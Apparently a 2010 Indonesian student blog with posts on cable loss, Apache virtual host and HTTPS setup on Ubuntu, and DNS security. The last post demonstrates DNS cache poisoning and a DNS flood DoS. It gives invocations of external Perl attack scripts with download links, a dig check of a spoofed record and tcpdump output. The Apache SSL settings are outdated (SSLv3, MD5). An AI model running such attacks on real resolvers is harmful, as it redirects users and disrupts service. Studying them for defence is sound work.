Selamat Datang !

Tugas sekolah si pimen :D

Selasa, 24 Agustus 2010

Cable Loss



Cable Loss adalah total insertion loss pada sistem transmisi kabel. Cable loss mencakup penyisipan Loss pada kabel transmisi, kabel jumper, konektor dan pelindung petir. loss pada VSWR / power monitor, duplexer, combiner atau filter juga dapat menybabkan cable loss. Sebagai contoh, sistem transmisi kabel untuk antena 800 MHz terpasang di ketinggian 200 ft (61 m) pada sebuah menara dapat adalah sebagai berikut:



Kabel Transmisi: 7 / 8 “Andrew LDF5-50, 1,13 dB/100 ft (3,69 dB / 100 m) @ 824 MHz
Kabel Jumper: 1 / 2 Andrew “FSJ4-50B, 3,23 dB/100 ft (10,6 dB / 100 m) @ 824 MHz


230 ft (70 m) dari kabel transmisi = 2,60 dB
20 ft (6 m) jumper pada pemancar = 0,65 dB
10 ft (3 m) jumper pada antena = 0,32 dB
Koneksi pasang x 4 = 0,1 x 4 = 0,4 dB
Proteksi petir = 0,1 dB
Cable Loss (total loss sisipan) = 4,07 dB



Mengukur Cable Loss

Cable loss dapat diukur dengan peralatan yang sama yang digunakan untuk mengukur VSWR antena atau tingkat return loss. Sebuah Vector Network Analyzer (VNA) dengan sebuah mode cable loss tersembung pada pengukuran ini. Cukup menghubungkan salah satu ujung kabel Anda ke VNA, tempatkan VNA secara terbuka atau pendek pada ujung kabel, dan lakukan uji Cable Loss.

Sebuah VNA dengan distance-to-fault (DTF) atau mode lokasi kesalahan secara otomatis akan mengoreksi cable loss.

Cable loss per meter atau parameter kaki dimasukkan saat pengukuran DTF. Pengaturan pertama kali, hubungkan salah satu ujung kabel ke VNA dengan antena yang terhubung pada ujung kabel dan lakukan uji DTF. Hasilnya adalah sebuah VSWR antena atau pengukuran return loss mengoreksi cable loss.

Sebuah pengukur daya juga dapat digunakan untuk menghitung cable loss. Mengukur tingkat daya pada input dan output kabel anda, mengonversi ke satuan dBm, dan menghitung perbedaannya. Sebagai contoh, input daya 100 W (50 dBm) dan output 50 W (47 dBm) menghasilkan cable loss dari 3 dB (50 dBm – 47 dBm).

Jumlahkan parameter loss sisipan untuk setiap komponen transmisi kabel Anda pada frekuensi operasi Anda. Dengan catatan, loss sisipan meningkat seiring dengan meningkatnya frekuensi.

Jumat, 20 Agustus 2010

Web Server

Web Server

Instalasi Apache Web Server pada Ubuntu Linux

Server web standar pada Linux adalah Apache. Server web adalah teknologi yang menerima permintaan dari browser web dan menyajikan halaman web yang diminta untuk browser.

Versi desktop Ubuntu Linux tidak menginstal web server Apache secara default. Langkah pertama dalam membuat server web, oleh karena itu, adalah menginstal Apache. Hal ini dapat dilakukan baik dari baris-perintah atau dengan menggunakan Synaptic Package Manager. Untuk menggunakan Synaptic Package Manager, klik menu System, Administrasi pilih dan klik Synaptic Package Manager. Masukkan sandi Anda jika diminta untuk melakukannya. Klik pada tombol toolbar Search dan mencari apache2. Setelah pencarian selesai, Apache 2 Server harus tercantum di jendela Synaptic. Klik pada beralih berikutnya ke server Apache dan pilih Tandai untuk instalasi. Terakhir, klik Apply di toolbar untuk memulai instalasi.

Untuk menginstal Apache dari baris-perintah memulai sebuah jendela terminal (Applications-> Accessories-> Terminal) dan menjalankan perintah berikut pada prompt perintah:

sudo apt-get install apache2 sudo apt-get install apache2

Proses instalasi tidak akan hanya menginstal, tetapi juga menjalankan web server.

Pengujian Web Server

Setelah instalasi selesai langkah berikutnya adalah untuk memastikan server web dan berjalan. Untuk melakukan tes, kita dapat menguji melalui web browser. Caranya, buka web browser favorit kita, lalu ketik alamat 127.0.0.1. Itu adalah alamat localhost, atau kita juga bisa mengetik http://localhost/.

Konfigurasi Apache Web Server untuk Virtual Host

Langkah berikutnya dalam mengatur server web kita adalah dengan mengkonfigurasi nama domain. Ini dilakukan di / etc/apache2 direktori. Untuk mengkonfigurasi web server, buka terminal dan pindah ke direktori / etc/apache2. Dalam direktori ini, kita akan menemukan dua sub-direktori, yaitu sites-available dan sites-enable. Pindah ke direktori sites-enable. Dalam direktori ini kita akan menemukan file default yang dapat digunakan sebagai template untuk situs kita sendiri.

Salin default file ke sebuah file baru dengan nama yang sesuai dengan nama domain kita. Contoh:

sudo cp default webfirman.com

edit file webfirman.com menggunakan editor favoring kita. Berikut adalah isi dari file tersebut.

ServerAdmin webmaster@localhost

DocumentRoot /var/www/

Options FollowSymLinks

AllowOverride None

Options Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

allow from all

# This directive allows us to have apache2's default start page

# in /apache2-default/, but still have / go to the right place

#RedirectMatch ^/$ /apache2-default/

Jika kita menggunakan Ubuntu versi lama, isi file kita akan mengandung NameVirtualHost pada baris paling atas. Ubah menjadi komentar dengan menggunakan tanda #.

#NameVirtualHost *

Alasannya adalah bahwa parameter ini telah ditentukan di file sites-enabled/000-default file

NameVirtualHost 68.206.209.234

Jika parameter diatas tidak di beri komentar, maka ketika apache direstart akan muncul peringatan seperti ini:

[warn] NameVirtualHost *:0 has no VirtualHosts

Parameter ServerAdmin mendefinisikan alamat email web master jika ada yang ingin menghubungi admin web kita. Rubah sesuai dengan apa yang kita inginkan:

ServerAdmin webmaster@webfirman.com

Selanjutnya parameter ServerName dan ServerAlias perlu ditentukan. Kita buat seperti contoh:

ServerName webfirman.com

ServerAlias www.webfirman.com

Langkah selanjutnya, kita perlu untuk mendefinisikan file konfigurasi web site kita yang pada parameter DocumentRoot. Biasanya /var/www/domainkita:

DocumentRoot /var/www/webfirman.com

Setelah selesai merubah konfigurasi pada file webfirman.com, kita perlu membuat symbolic link file tersebut dari /etc/apache2/sites-available/ ke /etc/apache2/sites-enable/. Ketik perintah:

ln -s /etc/apache2/sites-available/webfirman.com /etc/apache2/sites-enable/webfirman.com

Lalu, buat direktori /var/www/webfirman.com dan buat sebuah file html dengan judul index.html di dalamnya. Untuk isi file tersebut kita ambil contoh sebagai berikut:

Welcome to Webfirman.com

Langkah selanjutnya adalah restart apache:

sudo /etc/init.d/apache2 restart

Lalu kita coba buka pada web browser, masukkan alamat webfirman.com


HTTPS

Virtual Host merupakan cara untuk mengatur banyak website atau URL di dalam satu mesin atau satu IP. Misalkan kita mempunyai banyak domain tapi hanya mempunyai 1 IP public atau 1 server. Cara untuk mengatasi masalah itu adalah dengan cara membuat virtualhost yang ada di settingan apachenya. Virtual Host bisa anda gunakan setelah anda menginstall package-package apache dan sudah pasti web server anda sudah berjalan dengan baik. Sekarang kita langsung saja masuk ke dalah konfigurasi. Misalkan saya mempunya 2 buah domain [aminudin.net dan kelelawar.net] saya kebingungan karena saya hanya mempunyai 1 server, solusinya adalah anda harus mengarahkan domain tersebut ke IP server kita untuk contoh silahkan baca http://aminudin.net/?p=230 . kemudian seterusnya konfigurasi di sisi server nya kita lakukan konfigurasi virtualhost anda edit file yang berada di /etc/apache2/http.conf.

Konfigurasi

Install apache

# apt-get install apache2

Edit file “/ etc/apache2/apache2.conf

# nano /etc/apache2/apache2.conf dengan menambahkan baris:

Listen 80

Listen 443

Edit file “/etc/apache2/sites-enabled/yoursite

# nano /etc/apache2/sites-enabled/yoursite

Tambahkan bagian berikut:

NameVirtualHost *:443

DocumentRoot "/local/www/ssl_html"

SSLEngine on

SSLOptions +StrictRequire

SSLRequireSSL

SSLProtocol -all +TLSv1 +SSLv3

SSLCipherSuite HIGH:MEDIUM:!aNULL:+SHA1:+MD5:+HIGH:+MEDIUM

SSLRandomSeed startup file:/dev/urandom 1024

SSLRandomSeed connect file:/dev/urandom 1024

SSLSessionCache shm:/usr/local/apache2/logs/ssl_cache_shm

SSLSessionCacheTimeout 600

SSLCertificateFile /etc/apache2/ssl/server.crt

SSLCertificateKeyFile /etc/apache2/ssl/server.key

SSLVerifyClient none

SSLProxyEngine off

AddType application/x-x509-ca-cert .crt

AddType application/x-pkcs7-crl .crl

SetEnvIf User-Agent ".*MSIE.*" \

nokeepalive ssl-unclean-shutdown \

downgrade-1.0 force-response-1.0

Restart apache

# /etc/init.d/apache2 restart

Test hasil konfigurasi pada browser klien dengan mengetikan url https://www.yoursite.com

Jumat, 06 Agustus 2010

Security DNS

SECURITY DNS

  1. DEFINISI DNS

Sebelum Domain Name System (DNS), jaringan komputer menggunakan HOSTS files yang berisi informasi nama komputer dan alamat IPnya. File ini dikelola terpusat dan ditiap lokasi harus dibuat copy versi terbaru dari HOSTS files. Dengan penambahan 1 komputer di jaringan, maka kita harus copy versi terbaru ke setiap lokasi. Dengan peningkatan jaringan internet, hal ini makin merepotkan. Oleh karena itu DNS merupakan solusi untuk menggantikan fungsi HOSTS files.

DNS merupakan sistem database yang terdistribusi yang digunakan untuk pencarian nama komputer di jaringan yang menggunakan TCP/IP. DNS mempunyai kelebihan ukuran database yang tidak terbatas dan juga mempunyai performa yang baik. DNS merupakan aplikasi pelayanan di internet untuk menterjemahkan domain name ke alamat IP dan juga sebaliknya. DNS dapat dianalogikan sebagai pemakaian buku telefon dimana orang yang ingin kita hubungi, berdasarkan nama untuk menghubunginya dan menekan nomor telefon berdasarkan nomor dari buku telefon tersebut. Hal ini terjadi karena komputer bekerja berdasarkan angka, dan manusia lebih cenderung bekerja berdasarkan nama. Misalkan domain name yahoo.com mempunyai alamat IP 202.68.0.134, tentu mengingat nama komputer lebih mudah dibandingkan dengan mengingat alamat IP.



  1. STRUKTUR DNS

Domain Name Space merupakan hirarki pengelompokan domain berdasarkan nama. Domain ditentukan berdasarkan kemampuan yang ada di struktur hirarki yang disebut level yang terdiri dari :

  • Root-Level Domains : merupakan level paling atas di hirarki yang diekspresikan berdasarkan periode dan dilambangkan oleh “.”.
  • Top-Level Domains : berisi second-level domains dan hosts yaitu :
    • com : organisasi komersial, seperti IBM (ibm.com).
    • edu : institusi pendidikan, seperti U.C. Berkeley (berkeley.edu).
    • org : organisasi non profit, Electronic Frontier Foundation (eff.org).
    • o net : organisasi networking, NSFNET (nsf.net).
    • gov : organisasi pemerintah non militer, NASA (nasa.gov).
    • mil : organisasi pemerintah militer, ARMY (army.mil).
    • xx : kode negara (id:Indonesia,au:Australia)
  • Second-Level Domains : berisi host dan domain lain yang disebut subdomain. Contoh dapat dilihat pada gambar 1. Domain Wijaya, wijaya.com mempunyai komputer server1.wijaya.com dan subdomain ws.wijaya.com. Subdomain ws.wijaya.com juga mempunyai host client1.ws.wijaya.com.
  • Host Name : domain name yang digunakan dengan host name akan menciptakan fully qualified domain name (FQDN) untuk setiap kompueter. Contohnya, jika terdapat fileserver1.wijaya.com, fileserver1 adalah host name dan wijaya.com adalah domain name.

  1. SERVER NAMA dan ZONA

Program yang menyimpan informasi tentang domain name space disebut server nama (name server). Server nama biasanya mempunyai informasi yang lengkap mengenai bagian-bagian dari domain name space yang disebut zona (zone), yang biasanya diambil dari file atau dari Server nama lainnya. Server nama mempunyai otoritas (authority) untuk zona tersebut, dan Server nama juga dapat mempunyai otoritas untuk banyak zona.

Perbedaan antara sebuah zona dan sebuah domain adalah penting. Semua top-level domain, dan banyak second-level domain dibagi menjadi unit-unit yang lebih kecil.

Unit-unit tersebut disebut zona.

Gambar 2.2 Domain edu dibagi menjadi zona-zona (diambil dari

http://www.oreilly.com/catalog/dns3/chapter/ch02.html)

Pada gambar diatas domain edu dibagi menjadi zona-zona, termasuk zona berkeley.edu, zona purdue.edu, dan zona nwu.edu. Bagian atas dari domain edu, juga terdapat zona edu. Domain delegation seperti mendelegasikan tugas-tugas. Seorang manajer dapat membagi proyek besar menjadi tugas-tugas yang lebih kecil dan mendelegasikan tanggung jawab untuk tiap tugas kepada karyawan yang berbeda.

4. RESOLVERS


Resolvers merupakan client yang mengakses Server nama. Umumnya resolver melakukan :

• Query sebuah server nama.
• Menginterpretasikan respon (dapat berupa resource record atau sebuah error).
• Mengirimkan kembali informasi kepada program yang memintanya.

Dalam BIND (Berkeley Internet Name Domain), implementasi UNIX untuk sebuah server DNS, resolver hanya merupakan sebuah set library routines yang menghubungkan kedalam program seperti telnet dan ftp. Bahkan hal ini bukan merupakan proses yang terpisah dengan menggabungkan sebuah query, mengirim dan menunggu sebuah jawaban, dan untuk mengirimkan kembali query yang tidak mendapat jawaban.

5. RESOLUSI

Server nama diadaptasi dari mengambil data dari domain name space. Server nama tidak hanya memberikan data mengenai zona-zona yang diotoritasi oleh mereka, tapi juga mencari kedalam domain name space untuk mencari data yang tidak dalam otoritas mereka. Proses ini disebut resolusi nama (name resolution) atau resolusi.

6. Root Name Server

Root Name Server mengetahui tempat server-server nama untuk tiap domain toplevel. Dengan memberikan query mengenai sebuah nama domain, maka root name server dapat menyediakan nama-nama dan alamat-alamat server nama dari domain top level yang nama domainnya dicari. Dan server nama top-level dapat menyediakan list server-server nama yang berhubungan dengan domain second-level yang nama domainnya dicari. Tiap server nama yang diberikan query akan memberikan informasi cara untuk mendekati jawaban yang dicari, atau juga dapat menyediakan jawaban tersebut.

Root Name Server sangat penting dalam resolusi, maka DNS menyediakan mekanisme – seperti caching, yang akan dibahas dibawah – untuk membantu offload root name server. Tetapi dengan ketidakadaan dari informasi lain, resolusi harus dimulai dari root name server. Hal ini menyebabkan root name server sangat krusial bagi operasi DNS. Jika semua root name server internet tidak dapat dicapai dalam kisaran waktu tertentu, semua resolusi dalam internet akan gagal. Untuk menghindari hal ini, internet mempunyai tigabelas root name server yang tersebar pada jaringan. Server nama lokal akan memberikan query kepada root name server untuk alamat girigiri.gbrmpa.gov.au dan merujuk ke server nama au. Server nama lokal akan bertanya kepada server nama au pertanyaan yang sama, dan merujuk ke server nama gov.au. Server nama gov.au akan merujuk server nama lokal ke server nama gbrmpa.gov.au. Terakhir, server nama lokal akan bertanya ke server namagbrmpa.gov.au tentang alamatnya dan mendapatkan jawabannya.

7. Mapping Alamat ke Nama

Satu fungsi yang kuran dari proses resolusi adalah menjelaskan bagaimana alamat bisa di petakan kembali ke nama. Memetakan alamat ke nama dilakukan untuk menghasilkan keluaran yang dapat dibaca dan lebih cepat dimengerti. Dalam DNS, memetakan alamat ke nama tidak mudah. Data, termasuk alamat, dalam domain name
space diberi indeks. Dengan memberikan nama domain, menemukan alamat relative mudah. Tetapi untuk menemukan nama domain dari alamat memerlukan pencarian yang jeli kepada data pada diagram pohon tiap nama domain. Solusi terbaik adalah menciptakan bagian dari domain name space yang menggunakan alamat-alamat sebagai label. Dalam domain name space internet, porsi dari name space ini adalah domain in-addr.arpa.

Titik pada domain in-addr.arpa diberi label setelah representasi dotted-octet dari alamat IP. Domain in-addr.arpa dapat memiliki 256 subdomain yang berhubungan dengan tiap nilai yang munghin dalam oktet pertama dalam alamat IP. Setiap subdomain dapat mempunyai 256 subdomain lagi, berhubungan dengan nilai yang mungkin dari oktet kedua. Terakhir, pada level keempat, terdapat record sumber yang terhubung pada oktet terakhir yang akan memberikan nama domain lengkap dari host atau jaringan dari alamat IP tersebut. Perlu diperharikan bahwa saat membaca nama domain, alamat IP akan tampak mundur karena membaca dari ujung ke akarnya. Contohnya, jika alamat IP dari winnie.corp.hp.com adalah 15.16.192.152, maka subdomain dari in-addr.arpa nya adalah 152.192.16.15 yang akan memetakan kembali nama domainwinnie.corp.hp.com

8. CACHING

Proses resolusi keseluruhan terlihat sangat rumit, namun biasanya berlangsung cukup cepat. Kemampuan yang meningkatkan kecepatan ini disebut caching. Server-server nama akan meng-cache data-data untuk membantu meningkatkan kecepatan dari query. Jika sebuah resolver meng-query server nama untuk data domain nama yang diketahui oleh server nama tersebut, maka proses akan berjalan sedikit lebih cepat. Server nama dapat meng-chace jawaban yang akan meneruskan jawaban ke resolver.

Pada skala kecil, DNS adalah hal-hal yang diperlukan dalam pengoperasian internet . DNS bisa diperlukan dalam berbagai level perusahaan. Pada bahasan ini, akan dijelaskan beberapa macam security . Terbagi dalam 4 macam, yaitu :

1. Administrative security

Bagian ini menggunakan file permission, konfigurasi server, BIND konfigurasi, dan DMZ. Semua itu adalah teknik yang relative simple dan bias di aplikasikan pada DNS server yang berdiri sendiri

2. Zona transfer

Zona transfer bekerja menggunakan physical security, parameter pada BIND, atau eksternal firewall. Autentifikasi secara aman dari sumber dan tujuan dari zona transfer dapat atau tidak dapat di usahakan

3. Dynamic update

Dynamic update

4. Zona integritas

Hal – hal yang diperlukan zona data yang digunakan oleh salah satu DNS yang lain.

Karena itu, DNS sangat kritis dan penuh dengan perhitungan yang rumit dan termasuk mitos yang besar. Titik kritis dalam mendefinisikan kebijakan keamanan dan prosedur untuk memahami apa yang harus dijamin-atau tepatnya apa tingkat ancaman harus dijamin terhadap dan apa ancaman yang dapat diterima. Jawaban atas dua hal akan berbeda jika DNS adalah berjalan sebagai root-server versus berjalan sebagai-rumah sederhana di DNS yang melayani beberapa volume rendah web situs. Tidak ada aturan yang keras dan cepat; mendefinisikan kebijakan Anda adalah masalah paranoid pencampuran dengan penilaian.

  • DNS Normal Data Flow

Sumber ancaman yang potensial dapat diihat dalam gambar d bawah ini

Tahap pertama dari setiap review keamanan adalah ancaman audit yang berlaku dan bagaimana mereka dinilai serius dalam situasi organisasi tertentu. Sebagai contoh, jika dynamicupdates tidak didukung (modus default BIND's), tidak akan ada ancaman update dinamis.

  • Klasifikasi Keamanan

Klasifikasi keamanan merupakan sarana untuk memungkinkan pemilihan solusi yang tepat dan
strategi untuk menghindari risiko tersirat. Banyak metode-metode berikut ini dijelaskan. Penomoran berikut berhubungan dengan Gambar 10-1

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP6bbXFUbG0ChcymScmG0rIQFRfvJ0G3q4lxo0IGzanBxIMxuKREGuHjs0lTS1P7gblQxrjyvNwB06MXKlMzaYIDHPFphskHvt_-5hp-uiS2T-HZo983XpReXKoEsQn6LqYpeaiY8NbtVE/s320/untitled.bmp











  • ancaman Lokal (1): ancaman Lokal biasanya yang paling sederhana untuk mencegah, dan biasanya diimplementasikan hanya dengan menjaga kebijakan administrasi sistem suara. zona Semua file dan file konfigurasi lainnya DNS harus memiliki tepat membaca dan menulis akses, dan harus aman didukung atau diselenggarakan dalam repositori CVS. Stealth (atau Split) server DNS dapat digunakan untuk meminimalkan akses publik, dan BIND dapat dijalankan di kotak pasir atau penjara chroot (dijelaskan di bagian "BIND dalam Chroot Penjara" kemudian dalam bab ini).
  • Server-server (2): Jika sebuah organisasi budak menjalankan DNS server, perlu untuk melaksanakan zona transfer. Seperti disebutkan sebelumnya, adalah mungkin untuk menjalankan beberapa-master server DNS, bukan dari server master-budak, dan dengan demikian menghindari masalah yang terkait. Jika zona transfer diperlukan, BIND menawarkan beberapa parameter konfigurasi yang dapat digunakan untuk minimize risiko yang melekat dalam proses. TSIG dan Transaksi KEY (TKEY) juga menawarkan aman metode untuk otentikasi meminta sumber-sumber dan tujuan. Kedua metode dijelaskan secara rinci pada bagian "Mengamankan Zona Transfer" kemudian dalam bab ini. Transfer fisik dapat diamankan dengan menggunakan Secure Socket Layer (SSL) atau Transport Layer Security (TLS).
  • Server-server (3): default BIND adalah untuk menyangkal Dynamic DNS (DDNS) dari semua sumber. Jika sebuah organisasi memerlukan fitur ini, maka BIND menyediakan sejumlah konfigurasi parameter untuk meminimalkan risiko yang terkait; ini dijelaskan secara rinci nanti dalam bab. Jaringan desain arsitektur-yaitu, semua sistem yang terlibat dalam terpercaya perimeter-lebih lanjut dapat mengurangi eksposur tersebut. TSIG dan SIG (0) dapat digunakan untuk mengamankan transaksi dari sumber eksternal. Konfigurasi Stealth (Split) server digambarkan pada Bab 4 dan 7, dan TSIG dan SIG (0) keamanan yang dijelaskan dalam bagian "Mengamankan Dynamic Update "kemudian dalam bab ini.
  • Server-klien (4): Kemungkinan keracunan cache jauh karena spoofing IP, data antar-ception, dan hacks lainnya mungkin sangat rendah dengan situs web sederhana. Namun, jika situs tersebut profil tinggi, volume tinggi, terbuka untuk ancaman kompetitif, atau merupakan penghasil pendapatan yang tinggi, maka biaya dan kompleksitas penerapan solusi DNSSEC skala penuh mungkin bernilai-sementara. Upaya yang signifikan sedang diinvestasikan oleh pengembang perangkat lunak, Registry Operator, yang RIR, dan operator root-server, antara lain banyak, ke DNSSEC. Kita cenderung melihat signifikan trickle-down efek dalam waktu dekat dalam domain publik, serta dalam kelompok dikontrol seperti intranet dan extranet. Memang, Swedia akan menjadi yang pertama negara di dunia untuk menawarkan dukungan DNSSEC untuk se domain mulai tahun 2005 akhir
  • Klien-klien (5): standar DNSSEC.bis mendefinisikan konsep keamanan sadar penyelesai-suatu saat entitas-mitos yang dapat memilih untuk menangani semua validasi keamanan langsung, dengan nama lokal server bertindak sebagai gateway komunikasi pasif.

  1. Konfigurasi defensif. Sebuah konfigurasi defensif adalah satu di mana semua, besar khususnya yang berkaitan dengan keamanan, fitur eksplisit diidentifikasi sebagai diaktifkan atau dinonaktifkan. Konfigurasi seperti mengabaikan semua pengaturan default dan nilai-nilai. Dibutuhkan sebagai titik awal situs kebutuhan, dan setiap mendefinisikan kebutuhan, positif atau negatif, dengan menggunakan laporan konfigurasi yang sesuai atau parameter lainnya. Default adalah orang malas besar bagi kami, tetapi mereka juga dapat berbahaya jika mereka berubah. Sebagai contoh, skrg sewa BIND versi Menonaktifkan DDNS secara default. Namun, banyak DNS administrator suka menambahkan pernyataan itu memungkinkan-update ("none";); secara eksplisit dalam klausul opsi global, baik sebagai jelas indikasi bahwa fitur tersebut tidak digunakan, dan sebagai perlindungan terhadap masa depan yang rilis dapat mengubah default. Sebuah file konfigurasi yang defensif mengidentifikasi semua persyaratan juga secara eksplisit mendefinisikan diri. Yaitu, dengan memeriksa file-tanpa perlu menemukan manual atau referensi dokumentasi-fungsi tersebut adalah jelas. Pada 03:00 saat pan-demonium terjadi, file diri terdefinisi tersebut dapat efek samping berguna. Deny All, Allow SelectivelyBahkan ketika operasi diperbolehkan, misalnya di NOTIFY atau zona transfer, itu mungkin bernilaiglobal menyangkal operasi dan selektif memungkinkan, seperti dalam fragmen berikut:
  • Remote Access. BIND rilis datang dengan alat administrasi yang disebut rndc (dijelaskan dalam Bab 9) yang mungkin digunakan secara lokal atau jarak jauh. Di satu sisi, rndc adalah tool yang berguna, sementara di sisi lain, jika Anda bisa masuk, sehingga dapat orang lain. BIND default adalah mengaktifkan rndc dari loopback tersebut alamat saja (127.0.0.1). Jika rndc tidak akan digunakan, harus secara eksplisit dinonaktifkan menggunakan null klausa kontrol, seperti yang ditunjukkan di sini:


// named.conf fragment
controls {};
....

Jika rndc digunakan, maka dianjurkan bahwa klausa kontrol eksplisit digunakan, bahkan jika
akses hanya diijinkan dari localhost, seperti yang ditunjukkan di sini:
// named.conf fragment
controls {
inet 127.0.0.1 allow {localhost;} keys {"rndc-key"};
};

ATTACKING DNS

  1. PENGERTIAN DASAR TEKNIK-TEKNIK

  • SERANGAN TERHADAP DNS


Server-server DNS dapat diserang dengan menggunakan beberapa teknik, yaitu :

  • Serangan buffer overflow untuk mendapakan akses perintah ke server DNSatau merubah file-file dari zona.
  • Serangan penyingkapan/penyadapan informasi seperti transfer antar zona.
  • Serangan Cache poisoning sehingga cache dari DNS dikontaminasi oleh penyerang. Hal ini dilakukan dengan menggunakan prediksi ID transaksi atau query-query recursive.


Dalam teknik cache poisoning yang akan dijabarkan dibawah ini, diasumsikan server DNS targer adalah server BIND seperti mayoritas server DNS di internet.

CACHE POISONING MENGGUNAKAN PREDIKSI

ID TRANSAKSI

Misalkan saat sebuah klien dalam domain sa.com membuat permintaan untuk

membuka www.microsoft.com, maka akan terjadi urutan peristiwa sebagai berikut :

1. Klien akan menghubungi server DNS dan meminta membuka

www.microsoft.com. Query akan berisi informasi mengenai port UDP dari

klien, alamat IP dan sebuah ID transaksi DNS.

2. Karena server DNS klien bukan merupakan authoratative untuk domain

friendster.com akan melewati query-query recursive melalui server root DNS

di internet dan menghubungi server DNS friendster dan mendapatkan jawaban

untuk querynya.

3. Query yang berhasil ini kemudian diteruskan kembali kepada klien dan

informasi ini di cache oleh kedua server nama sa.com dan klien.

Hal-hal penting yang dapat dicatat adalah :

• Dalam langkah ketiga, klien hanya dapat menerima informasi jika server DNS

menggunakan port klien yang benar dan alamat sebagai tambahan kepada ID

transaksi DNS dalam langkah pertama. Ketiga informasi ini merupakan format

pembuktian (authentication).

• Informasi dari www.microsoft.com di cache oleh kedua klien dan server untuk

periode TTL (time to live) tertentu. Jika klien lain ingin bertanya kepada

ns1.sa.com untuk membuka www.microsoft.com selama proses TTL ini maka

server nama akan mengembalikan informasi dari cache dan tidak bertanya

kepada ns1.microsoft.com.

Perbedaan kebutuhan dibuat dalam ID transaksi yang dipakai antara klien dan server

nama dan ID transaksi antar server nama. Langkah-langkah diatas dapat disalah

gunakan oleh penyerang untuk meletakkan informasi yang salah dalam cache

nsi.jugi.com. Dalam ilustrasi dibawah ini, penyerang berusaha untuk memperkirakan

ID transaksi selama proses komunikasi antar server nama. Yang dilakukan penyerang

adalah :

• Mengirimkan permintaan resolusi dalam jumlah yang besar yang masingmasing

di spoof dengan informasi IP asal yang berbeda-beda untuk

www.microsoft.com kepada ns1.sa.com.

• ns1.sa.com akan mengirim tiap permintaan tersebut kepada server DNS dan

ns1.microsoft.com. Maka server ns1.sa.com menunggu balasan yang banyak

dari ns1.microsoft.com.

• Penyerang menggunakan proses menunggu ini untuk mengirimkan ns1.sa.com

banyak balasan dari ns1.microsoft.com. Tiap balasan yang palsu tersebut

mempunyai ID transaksi yang berbeda. Penyerang berharap untuk menebak ID

transaksi yang tepat yang digunakan oleh kedua server nama tersebut.

Jika penyerang berhasil maka informasi palsu tersebut akan disimpan dalam cache

ns1.sa.com. Hal ini merupakan serangan terhadap hubungan server nama dan server

nama yang akan mengakibatkan klien yang menggunakan server nama target akan

mendapatkan informasi yang palsu. ID transaksi BIND berada dalam kisaran 1-65535.

Tiga informasi yang dibutuhkan agar query dapat diterima yaitu ID transaksi, IP

sumber dan port sumber. Dengan mengetahui alamat IP sumber maka dapat diketahui

alamat server nama yang di query. Yang sulit dicari adalah port sumber. Seringkali

BIND akan menggunakan kembali port sumber yang sama untuk query dari klien

yang sama. Maka, jika penyerang bekerja dari sebuah server nama, maka dia dapat

meminta DNS untuK melihat hostname dari servernya dari server target dan saat

paket query recursif datang, maka port sumber didapatkan.

IMPLEMENTASI CACHE POISONING

Pada bab 4 ini, akan dibahas mengenai implementasi dari serangan cache poisoning

terhadap server DNS. Pada 4.1 merupakan implementasi serangan cache poisoning

yang saya dapatkan dari studi literatur makalah Attacking the DNS Protocol –

Security Paper v2, ESA Certification, Sainstitute.org. Pada 4.2 merupakan

implementasi serangan cache poisoning yang saya lakukan dengan cara sendiri.

Implementasi serangan-serangan ini dilakukan sebagai uji coba untuk pembelajaran.

CONTOH SERANGAN SERVER DNS

Cache Poisoning Pada Server DNS

Pada uji coba serangan ini, asumsikan server nama target adalah ns1.sa.com

(12.12.12.12) dan kita menginginkan untuk “meracuni” cachenya untuk mempercayai

bahwa www.microsoft.com memiliki alamat IP 10.10.10.10 dan dengan harapan

bahwa semua query yang akan datang dalam cache-nya akan terarah ke alamat

10.10.10.10. Dengan alamat server DNS dari microsoft.com adalah

ns1.microsoft.com (13.13.13.13).

Skrip pertama dari serangan ini disebut dns1.pl1 yang secara lengkap dapat dilihat dari

http://www.sainstitute.org/articles/tools/Dns1.pl . Serangan ini harus dijalankan dari

server nama autorisasi yang dikendalikan oleh penyerang untuk meng query server

nama target untuk sebuah hostname yang di autorisasi oleh mesin penyerang. Dalam

contoh ini, skrip dijalankan dari ns1.happydays.com dan penyerang meng query

server nama target untuk www.happydays.com :

dns1.pl 12.12.12.12 www.happydays.com

source port: 54532

Dengan demikian maka kita mendapatkan port sumber. Skrip kedua yang ditulis oleh

Ramon Izaguirre disebut hds0.pl2 ( http://www.sainstitute.org/articles/tools/Hds0.pl )

yang menjalankan serangan :

./hds0.pl 13.13.13.13 12.12.12.12 54532 www.microsoft.com 10.10.10.10

(ns1.friendster.com) (ns1.sa.com) (source port) (spoof targets)

Untuk mengetahui apakah serangan berhasil, maka query server nama target :

dig @12.12.12.12 www.microsoft.com

www.microsoft.com 86400 IN A 10.10.10.10

Dalam kasus diatas, www.microsoft.com dialihkan ke 10.10.10.10, maka serangan

berhasil. Jika serangan tidak berhasil dan didapatkan alamat IP yang tepat dari

www.microsoft.com, maka kita harus menunggu durasi TTL sampai selesai dalam

cache sebelum dapat dicoba lagi. Hal ini terjadi sepertinya karena domain dari

friendster.com mempunyai lebih dari satu server DNS, bahkan mungkin juga

mempunyai sebuah server ns2.microsoft.com. Penyerang tidak mengetahui server

DNS yang mana dari domain target yang akan diquery.

Serangan DoS Pada DNS

Untuk membuat denial of service pada sebuah server DNS, dapat digunakan skrip

dnsflood.pl3 ( http://www.sainstitute.org/articles/tools/Dnsflood.pl ). DNSflood

berkerja dengan mengirimkan ribuan request/permintaan DNS, yang menyebabkan

server menjadi sibuk dan menghasilkan respon yang menjadi melambat. Contoh

dibawah merupakan contoh dnsflood yang dijalankan dari satu mesin dan server DNS

di query dari mesin lain.

Pertama kali penyerang menjalankan skrip :

[root@fanta dns]# perl dnsflood.pl 128.1.1.100

attacked: 128.1.1.100...

Dibawah ini merupakan keluaran tcpdump dari mesin yang menyerang dengan tipe

paket DNS yang dikirm berbeda-beda, yang masing-masing memiliki port sumber

yang berbeda :

[root@fanta /root]# tcpdump -vvv -X dst port 53

tcpdump: listening on eth0

18:55:53.618983 42.95.39.205.domain > 128.1.1.100.domain: 35698+[|domain] (ttl 64,

id 1565, len 108)

0x0000 4500 006c 061d 0000 4011 a0d3 2a5f 27cd E..l....@...*_'.

0x0010 8001 0164 0035 0035 0058 f00f 8b72 0100 ...d.5.5.X...r..

0x0020 0001 0000 0000 0000 3a63 6b6c 7266 6969 ........:cklrfii

0x0030 7363 6d61 7362 scmasb

18:55:53.621071 95.10.15.152.domain > 128.1.1.100.domain: 35699+[|domain] (ttl 64,

id 1565, len 109)

